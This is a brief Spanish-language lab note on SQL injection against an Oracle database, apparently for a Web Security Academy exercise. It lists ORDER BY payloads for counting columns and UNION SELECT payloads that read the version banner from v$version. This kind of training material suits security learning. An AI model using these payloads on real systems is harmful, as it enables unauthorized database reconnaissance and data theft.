Ataque de inyección SQL, consultando el tipo y la versión de la base de datos en Oracle

---

Contar el número de columnas (probando con ORDER BY)

Ejemplo: web-security-academy.net/filter?category=Accessories' ORDER BY 2--

Accessories' ORDER BY 2-- 
Accessories' ORDER BY 3-- 
Accessories' ORDER BY 4-- 

#OTRA MANERA 
Accessories' UNION SELECT 'abc','def' FROM dual--

• Si no hay error, el número que no cause error será el número total de columnas.

---

Verificar la versión de la base de datos

Ejemplo: web-security-academy.net/filter?category=Accessories' UNION SELECT banner, null FROM v$version--

Accessories' UNION SELECT banner, null FROM v$version-- 

---